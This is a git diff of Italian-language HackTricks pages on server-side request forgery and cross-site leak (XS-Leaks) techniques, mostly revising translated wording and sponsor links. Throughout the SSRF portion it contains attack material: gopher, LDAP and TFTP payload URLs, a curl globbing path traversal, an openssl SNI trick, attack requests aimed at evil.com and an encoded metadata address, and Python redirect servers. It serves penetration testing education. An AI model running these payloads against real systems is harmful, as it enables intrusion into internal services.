* Il Trivial File Transfer Protocol, che opera su UDP, è menzionato con un esempio di uno script PHP progettato per inviare una richiesta a un server TFTP. Viene effettuata una richiesta TFTP a 'generic.com' sulla porta '12346' per il file 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` * Il Trivial File Transfer Protocol, che opera su UDP, è menzionato con un esempio di uno script PHP progettato per inviare una richiesta a un server TFTP. Viene fatta una richiesta TFTP a 'generic.com' sulla porta '12346' per il file 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://** * **LDAP://**
* Questo segmento copre il Lightweight Directory Access Protocol, sottolineando il suo utilizzo per la gestione e l'accesso a servizi di informazioni di directory distribuite su reti IP. Interagisci con un server LDAP in localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` * Questo segmento copre il Lightweight Directory Access Protocol, sottolineando il suo utilizzo per gestire e accedere a servizi di informazioni di directory distribuite su reti IP. Interagisci con un server LDAP in localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP** * **SMTP**
* Viene descritto un metodo per sfruttare le vulnerabilità di SSRF per interagire con i servizi SMTP in localhost, inclusi i passaggi per rivelare i nomi di dominio interni e ulteriori azioni investigative basate su tali informazioni. * Viene descritto un metodo per sfruttare le vulnerabilità di SSRF per interagire con i servizi SMTP in localhost, inclusi i passaggi per rivelare i nomi di dominio interni e ulteriori azioni investigative basate su tali informazioni.
``` ```
@ -74,18 +74,18 @@ From https://twitter.com/har1sec/status/1182255952055164929
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains 3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect 4. connect
``` ```
* **Curl URL globbing - bypass del WAF** * **Curl URL globbing - Bypass del WAF**
* Se l'SSRF viene eseguito tramite **curl**, curl ha una funzionalità chiamata [**URL globbing**](https://everything.curl.dev/cmdline/globbing) che potrebbe essere utile per bypassare i WAF. Ad esempio, in questo [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) puoi trovare questo esempio per una **traversata del percorso tramite il protocollo `file`**: * Se l'SSRF viene eseguito tramite **curl**, curl ha una funzionalità chiamata [**URL globbing**](https://everything.curl.dev/cmdline/globbing) che potrebbe essere utile per bypassare i WAF. Ad esempio in questo [**articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) puoi trovare questo esempio per una **traversata del percorso tramite il protocollo `file`**:
``` ```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
``` ```
* **Gopher://** * **Gopher://**
* La capacità del protocollo Gopher di specificare IP, porta e byte per la comunicazione del server è discussa, insieme a strumenti come Gopherus e remote-method-guesser per la creazione di payload. Sono illustrate due usi distinti: * Viene discusso il protocollo Gopher e la sua capacità di specificare IP, porta e byte per la comunicazione con il server, insieme a strumenti come Gopherus e remote-method-guesser per la creazione di payload. Vengono illustrate due utilizzi distinti:
### Gopher:// ### Gopher://
Utilizzando questo protocollo puoi specificare l'**IP, la porta e i byte** che desideri che il server **invii**. Quindi, puoi sfruttare un SSRF per **comunicare con qualsiasi server TCP** (ma devi sapere come parlare con il servizio prima).\ Utilizzando questo protocollo è possibile specificare l'**IP, la porta e i byte** che si desidera che il server **invii**. Quindi, è possibile sfruttare un SSRF per **comunicare con qualsiasi server TCP** (ma è necessario sapere come parlare con il servizio prima).\
Fortunatamente, puoi utilizzare [Gopherus](https://github.com/tarunkant/Gopherus) per creare payload per diversi servizi. Inoltre, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) può essere utilizzato per creare payload _gopher_ per servizi _Java RMI_. Fortunatamente, è possibile utilizzare [Gopherus](https://github.com/tarunkant/Gopherus) per creare payload per diversi servizi. Inoltre, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) può essere utilizzato per creare payload _gopher_ per servizi _Java RMI_.
**Gopher smtp** **Gopher smtp**
``` ```
@ -130,11 +130,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
``` ```
## SSRF tramite l'intestazione Referrer e Altri ## SSRF tramite l'intestazione Referrer e Altri
Il software di analisi sui server registra spesso l'intestazione Referrer per tracciare i collegamenti in ingresso, una pratica che espone involontariamente le applicazioni a vulnerabilità di Server-Side Request Forgery (SSRF). Questo perché tale software potrebbe visitare URL esterni menzionati nell'intestazione Referrer per analizzare i contenuti del sito di riferimento. Per scoprire queste vulnerabilità, si consiglia il plugin di Burp Suite "**Collaborator Everywhere**", sfruttando il modo in cui gli strumenti di analisi elaborano l'intestazione Referer per identificare possibili superfici di attacco SSRF. I software di analisi sui server spesso registrano l'intestazione Referrer per tracciare i collegamenti in ingresso, una pratica che espone involontariamente le applicazioni a vulnerabilità di Server-Side Request Forgery (SSRF). Questo perché tali software potrebbero visitare URL esterni menzionati nell'intestazione Referrer per analizzare i contenuti del sito di riferimento. Per scoprire queste vulnerabilità, si consiglia il plugin di Burp Suite "**Collaborator Everywhere**", sfruttando il modo in cui gli strumenti di analisi elaborano l'intestazione Referer per identificare possibili superfici di attacco SSRF.
## SSRF tramite dati SNI dal certificato ## SSRF tramite dati SNI dal certificato
Una errata configurazione che potrebbe consentire la connessione a qualsiasi backend attraverso una semplice impostazione è illustrata con un esempio di configurazione Nginx: Una errata configurazione che potrebbe consentire la connessione a qualsiasi backend attraverso una semplice configurazione è illustrata con un esempio di configurazione di Nginx:
``` ```
stream { stream {
server { server {
@ -145,7 +145,7 @@ ssl_preread on;
} }
} }
``` ```
Nella presente configurazione, il valore del campo Server Name Indication (SNI) viene utilizzato direttamente come indirizzo del backend. Questo setup espone una vulnerabilità a Server-Side Request Forgery (SSRF), che può essere sfruttata specificando semplicemente l'indirizzo IP desiderato o il nome di dominio nel campo SNI. Di seguito è riportato un esempio di sfruttamento per forzare una connessione a un backend arbitrario, come `internal.host.com`, utilizzando il comando `openssl`: Nella questa configurazione, il valore dal campo Server Name Indication (SNI) è utilizzato direttamente come indirizzo del backend. Questo setup espone una vulnerabilità a Server-Side Request Forgery (SSRF), che può essere sfruttata specificando semplicemente l'indirizzo IP desiderato o il nome di dominio nel campo SNI. Di seguito è riportato un esempio di sfruttamento per forzare una connessione a un backend arbitrario, come `internal.host.com`, utilizzando il comando `openssl`:
```bash ```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
``` ```
@ -157,7 +157,7 @@ Potrebbe valere la pena provare un payload come: `` url=http://3iufty2q67fuy2dew
## Rendering dei PDF ## Rendering dei PDF
Se la pagina web sta creando automaticamente un PDF con alcune informazioni che hai fornito, puoi **inserire del codice JS che verrà eseguito dal creatore di PDF** stesso (il server) durante la creazione del PDF e sarai in grado di sfruttare un SSRF. [**Trova maggiori informazioni qui**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** Se la pagina web sta creando automaticamente un PDF con alcune informazioni che hai fornito, puoi **inserire un po' di JS che verrà eseguito dal creatore di PDF** stesso (il server) durante la creazione del PDF e sarai in grado di sfruttare un SSRF. [**Trova più informazioni qui**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## Da SSRF a DoS ## Da SSRF a DoS
@ -171,7 +171,7 @@ Crea diverse sessioni e prova a scaricare file pesanti sfruttando l'SSRF dalle s
## SSRF Reindirizzamento a Gopher ## SSRF Reindirizzamento a Gopher
Per alcune tipologie di exploit potresti aver bisogno di **inviare una risposta di reindirizzamento** (potenzialmente per utilizzare un protocollo diverso come gopher). Qui hai diversi codici Python per rispondere con un reindirizzamento: Per alcune tipologie di exploit potresti aver bisogno di **inviare una risposta di reindirizzamento** (potenzialmente per utilizzare un protocollo diverso come gopher). Qui hai diversi codici python per rispondere con un reindirizzamento:
```python ```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler from http.server import HTTPServer, BaseHTTPRequestHandler
@ -206,10 +206,10 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
## Proxy mal configurati per SSRF ## Proxy mal configurati per SSRF
@ -250,7 +250,7 @@ Codice vulnerabile:
<figure><img src="../../.gitbook/assets/image (1201).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1201).png" alt=""><figcaption></figcaption></figure>
È stato scoperto che è possibile **iniziare il percorso** di una richiesta con il carattere **`;`** che consente quindi di utilizzare **`@`** e iniettare un nuovo host per accedere. Richiesta di attacco: È stato scoperto che è possibile **iniziare il percorso** di una richiesta con il carattere **`;`** che consente di utilizzare quindi **`@`** e iniettare un nuovo host per accedere. Richiesta di attacco:
```http ```http
GET ;@evil.com/url HTTP/1.1 GET ;@evil.com/url HTTP/1.1
Host: target.com Host: target.com
@ -277,7 +277,7 @@ var_dump($response);
``` ```
</dettagli> </dettagli>
PHP permette l'uso del **carattere `*` prima di una barra nello percorso** dell'URL, tuttavia ha altre limitazioni come ad esempio che può essere utilizzato solo per il percorso radice `/` e che i punti `.` non sono consentiti prima della prima barra, quindi è necessario utilizzare un indirizzo IP codificato in formato senza punti per esempio: PHP permette l'uso del **carattere `*` prima di una barra nello percorso** dell'URL, tuttavia ha altre limitazioni come ad esempio che può essere utilizzato solo per il percorso radice `/` e che i punti `.` non sono permessi prima della prima barra, quindi è necessario utilizzare un indirizzo IP codificato senza punti per esempio:
```http ```http
GET *@0xa9fea9fe/ HTTP/1.1 GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com Host: target.com
@ -316,7 +316,7 @@ Attacco:
Durante questo attacco, se si desidera attaccare localhost:11211 (_memcache_) è necessario fare in modo che la vittima stabilisca la connessione iniziale con www.attaccante.com:11211 (la **porta deve essere sempre la stessa**).\ Durante questo attacco, se si desidera attaccare localhost:11211 (_memcache_) è necessario fare in modo che la vittima stabilisca la connessione iniziale con www.attaccante.com:11211 (la **porta deve essere sempre la stessa**).\
Per **eseguire questo attacco puoi utilizzare lo strumento**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ Per **eseguire questo attacco puoi utilizzare lo strumento**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Per **ulteriori informazioni**, dai un'occhiata alla presentazione in cui viene spiegato questo attacco: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference) Per **ulteriori informazioni**, dai un'occhiata al talk in cui viene spiegato questo attacco: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
## SSRF Cieco ## SSRF Cieco
@ -334,7 +334,7 @@ Se trovi una vulnerabilità SSRF in una macchina in esecuzione all'interno di un
[cloud-ssrf.md](cloud-ssrf.md) [cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %} {% endcontent-ref %}
## Piattaforme vulnerabili a SSRF ## Piattaforme Vulnerabili a SSRF
Diverse piattaforme conosciute contengono o hanno contenuto vulnerabilità SSRF, controllale in: Diverse piattaforme conosciute contengono o hanno contenuto vulnerabilità SSRF, controllale in:
@ -350,7 +350,7 @@ Strumento per rilevare e sfruttare vulnerabilità SSRF
### [Gopherus](https://github.com/tarunkant/Gopherus) ### [Gopherus](https://github.com/tarunkant/Gopherus)
* [Articolo sul blog su Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) * [Post sul blog su Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
Questo strumento genera payload Gopher per: Questo strumento genera payload Gopher per:
@ -363,9 +363,9 @@ Questo strumento genera payload Gopher per:
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [Articolo sul blog sull'uso di SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) * [Post sul blog sull'uso di SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ è uno scanner di vulnerabilità _Java RMI_ che supporta operazioni di attacco per la maggior parte delle vulnerabilità comuni di _Java RMI_. La maggior parte delle operazioni disponibili supporta l'opzione `--ssrf`, per generare un payload _SSRF_ per l'operazione richiesta. Insieme all'opzione `--gopher`, possono essere generati direttamente payload _gopher_ pronti all'uso. _remote-method-guesser_ è uno scanner di vulnerabilità _Java RMI_ che supporta operazioni di attacco per la maggior parte delle vulnerabilità comuni di _Java RMI_. La maggior parte delle operazioni disponibili supporta l'opzione `--ssrf`, per generare un payload _SSRF_ per l'operazione richiesta. Insieme all'opzione `--gopher`, è possibile generare direttamente payload _gopher_ pronti all'uso.
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) ### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
@ -384,7 +384,7 @@ SSRF Proxy è un server proxy HTTP multi-threaded progettato per instradare il t
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
@ -399,7 +399,7 @@ Altri modi per supportare HackTricks:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti della community più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

View file

@ -2,10 +2,10 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [****](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=xs-search) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
<details> <details>
@ -13,11 +13,11 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
@ -29,17 +29,17 @@ I componenti chiave coinvolti in questo attacco includono:
* **Web Vulnerabile**: Il sito web di destinazione da cui si intende estrarre informazioni. * **Web Vulnerabile**: Il sito web di destinazione da cui si intende estrarre informazioni.
* **Web dell'Attaccante**: Il sito web malevolo creato dall'attaccante, che la vittima visita, ospitante l'exploit. * **Web dell'Attaccante**: Il sito web malevolo creato dall'attaccante, che la vittima visita, ospitante l'exploit.
* **Metodo di Inclusione**: La tecnica impiegata per incorporare il Web Vulnerabile nel Web dell'Attaccante (ad esempio, window.open, iframe, fetch, tag HTML con href, ecc.). * **Metodo di Inclusione**: La tecnica impiegata per incorporare il Web Vulnerabile nel Web dell'Attaccante (ad es., window.open, iframe, fetch, tag HTML con href, ecc.).
* **Tecnica di Leak**: Tecniche utilizzate per discernere le differenze nello stato del Web Vulnerabile basate sulle informazioni raccolte attraverso il metodo di inclusione. * **Tecnica di Leak**: Tecniche utilizzate per discernere le differenze nello stato del Web Vulnerabile in base alle informazioni raccolte attraverso il metodo di inclusione.
* **Stati**: Le due condizioni potenziali del Web Vulnerabile, che l'attaccante mira a distinguere. * **Stati**: Le due condizioni potenziali del Web Vulnerabile, che l'attaccante mira a distinguere.
* **Differenze Rilevabili**: Variazioni osservabili su cui l'attaccante si basa per dedurre lo stato del Web Vulnerabile. * **Differenze Rilevabili**: Variazioni osservabili su cui l'attaccante si basa per inferire lo stato del Web Vulnerabile.
### Differenze Rilevabili ### Differenze Rilevabili
Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vulnerabile: Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vulnerabile:
* **Codice di Stato**: Distinguere tra **vari codici di stato di risposta HTTP** cross-origin, come errori del server, errori del client o errori di autenticazione. * **Codice di Stato**: Distinguere tra **vari codici di stato di risposta HTTP** cross-origin, come errori del server, errori del client o errori di autenticazione.
* **Utilizzo delle API**: Identificare **l'uso delle API Web** tra le pagine, rivelando se una pagina cross-origin impiega una specifica API Web JavaScript. * **Utilizzo delle API**: Identificare **l'uso delle API Web** tra le pagine, rivelando se una pagina cross-origin utilizza una specifica API Web JavaScript.
* **Reindirizzamenti**: Rilevare le navigazioni verso pagine diverse, non solo reindirizzamenti HTTP ma anche quelli attivati da JavaScript o HTML. * **Reindirizzamenti**: Rilevare le navigazioni verso pagine diverse, non solo reindirizzamenti HTTP ma anche quelli attivati da JavaScript o HTML.
* **Contenuto della Pagina**: Osservare **variazioni nel corpo della risposta HTTP** o nelle risorse sottopagine, come il **numero di frame incorporati** o disparità di dimensioni nelle immagini. * **Contenuto della Pagina**: Osservare **variazioni nel corpo della risposta HTTP** o nelle risorse sottopagine, come il **numero di frame incorporati** o disparità di dimensioni nelle immagini.
* **Intestazione HTTP**: Notare la presenza o eventualmente il valore di un **intestazione di risposta HTTP specifica**, inclusi intestazioni come X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy. * **Intestazione HTTP**: Notare la presenza o eventualmente il valore di un **intestazione di risposta HTTP specifica**, inclusi intestazioni come X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
@ -56,28 +56,28 @@ Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vu
* **Gestore di Eventi**: Una tecnica di leak classica in XS-Leaks, dove i gestori di eventi come **onload** e **onerror** forniscono informazioni sul successo o fallimento del caricamento della risorsa. * **Gestore di Eventi**: Una tecnica di leak classica in XS-Leaks, dove i gestori di eventi come **onload** e **onerror** forniscono informazioni sul successo o fallimento del caricamento della risorsa.
* **Messaggi di Errore**: Le eccezioni JavaScript o le pagine di errore speciali possono fornire informazioni di leak direttamente dal messaggio di errore o differenziando tra la sua presenza e assenza. * **Messaggi di Errore**: Le eccezioni JavaScript o le pagine di errore speciali possono fornire informazioni di leak direttamente dal messaggio di errore o differenziando tra la sua presenza e assenza.
* **Limiti Globali**: Limiti fisici di un browser, come la capacità di memoria o altri limiti del browser imposti, possono segnalare quando viene raggiunto una soglia, fungendo da tecnica di leak. * **Limiti Globali**: Limiti fisici di un browser, come la capacità di memoria o altri limiti imposti dal browser, possono segnalare quando viene raggiunto un limite, fungendo da tecnica di leak.
* **Stato Globale**: Interazioni rilevabili con gli **stati globali dei browser** (ad esempio, l'interfaccia History) possono essere sfruttate. Ad esempio, il **numero di voci** nella cronologia di un browser può offrire indizi sulle pagine cross-origin. * **Stato Globale**: Interazioni rilevabili con gli **stati globali dei browser** (ad es., l'interfaccia History) possono essere sfruttate. Ad esempio, il **numero di voci** nella cronologia di un browser può offrire indizi sulle pagine cross-origin.
* **API di Performance**: Questa API fornisce **dettagli sulle prestazioni della pagina corrente**, inclusi i tempi di rete per il documento e le risorse caricate, consentendo inferenze sulle risorse richieste. * **API di Performance**: Questa API fornisce **dettagli sulle prestazioni della pagina corrente**, inclusi i tempi di rete per il documento e le risorse caricate, consentendo inferenze sulle risorse richieste.
* **Attributi Leggibili**: Alcuni attributi HTML sono **leggibili cross-origin** e possono essere utilizzati come tecnica di leak. Ad esempio, la proprietà `window.frame.length` consente a JavaScript di contare i frame inclusi in una pagina web cross-origin. * **Attributi Leggibili**: Alcuni attributi HTML sono **leggibili cross-origin** e possono essere utilizzati come tecnica di leak. Ad esempio, la proprietà `window.frame.length` consente a JavaScript di contare i frame inclusi in una pagina web cross-origin.
## Strumento & Documento XSinator ## Strumento XSinator & Paper
XSinator è uno strumento automatico per **verificare i browser contro diversi XS-Leaks noti** spiegati nel suo documento: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) XSinator è uno strumento automatico per **verificare i browser contro diversi XS-Leaks noti** spiegati nel suo paper: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
Puoi **accedere allo strumento su** [**https://xsinator.com/**](https://xsinator.com/) Puoi **accedere allo strumento su** [**https://xsinator.com/**](https://xsinator.com/)
{% hint style="warning" %} {% hint style="warning" %}
**XS-Leaks Esclusi**: Abbiamo dovuto escludere XS-Leaks che si basano su **service worker** in quanto interferirebbero con altri leak in XSinator. Inoltre, abbiamo scelto di **escludere XS-Leaks che si basano su configurazioni errate e bug in un'applicazione web specifica**. Ad esempio, configurazioni errate di Cross-Origin Resource Sharing (CORS), perdite di postMessage o Cross-Site Scripting. Inoltre, abbiamo escluso XS-Leaks basati sul tempo poiché spesso soffrono di lentezza, rumore e inesattezza. **XS-Leaks Esclusi**: Abbiamo dovuto escludere XS-Leaks che si basano su **service worker** in quanto interferirebbero con altri leak in XSinator. Inoltre, abbiamo scelto di **escludere XS-Leaks che si basano su configurazioni errate e bug in un'applicazione web specifica**. Ad esempio, configurazioni errate di Cross-Origin Resource Sharing (CORS), perdite di postMessage o Cross-Site Scripting. Inoltre, abbiamo escluso XS-Leaks basati sul tempo poiché spesso soffrono di lentezza, rumore e inaccuratezza.
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=xs-search) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
## **Tecniche basate sul tempo** ## **Tecniche basate sul tempo**
Alcune delle seguenti tecniche utilizzeranno il tempo come parte del processo per rilevare differenze nei possibili stati delle pagine web. Ci sono diversi modi per misurare il tempo in un browser web. Alcune delle seguenti tecniche utilizzeranno il tempo come parte del processo per rilevare differenze nei possibili stati delle pagine web. Ci sono diversi modi per misurare il tempo in un browser web.
@ -93,7 +93,7 @@ Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/clo
* **Metodi di Inclusione**: Frame, Elementi HTML * **Metodi di Inclusione**: Frame, Elementi HTML
* **Differenza Rilevabile**: Codice di Stato * **Differenza Rilevabile**: Codice di Stato
* **Ulteriori informazioni**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) * **Ulteriori informazioni**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **Sommario**: se si tenta di caricare una risorsa gli eventi onerror/onload vengono attivati quando la risorsa viene caricata con successo/non riuscita ed è possibile capire il codice di stato. * **Sommario**: se si tenta di caricare una risorsa e vengono attivati gli eventi onerror/onload con il caricamento riuscito/non riuscito della risorsa, è possibile capire il codice di stato.
* **Esempio di codice**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\)) * **Esempio di codice**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))
{% content-ref url="cookie-bomb-+-onerror-xs-leak.md" %} {% content-ref url="cookie-bomb-+-onerror-xs-leak.md" %}
@ -115,7 +115,7 @@ In questo caso, se `example.com/404` non viene trovato, verrà caricato `attacke
* **Metodi di Inclusione**: Elementi HTML * **Metodi di Inclusione**: Elementi HTML
* **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato) * **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) * **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Sommario:** L'API [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) può essere utilizzata per misurare quanto tempo impiega a eseguire una richiesta. Tuttavia, potrebbero essere utilizzati altri orologi, come l' [**API PerformanceLongTaskTiming**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) che può identificare attività in esecuzione per più di 50 ms. * **Sommario:** L'API [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) può essere utilizzata per misurare quanto tempo impiega a eseguire una richiesta. Tuttavia, potrebbero essere utilizzati altri orologi, come l'API [**PerformanceLongTaskTiming**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) che può identificare attività in esecuzione per più di 50 ms.
